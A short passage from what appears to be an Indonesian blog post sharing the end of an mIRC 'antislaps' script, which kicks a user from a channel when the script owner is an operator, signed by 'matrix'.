if ($nick == $me) { halt } if ($me isop $chan) { /raw -q kick $chan $nick kenapa!! } if ($me isop $chan) { /raw -q kick $chan $nick kenapa!! } #antislaps end SELAMAT MENCOBA !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! by : matrix
Komentar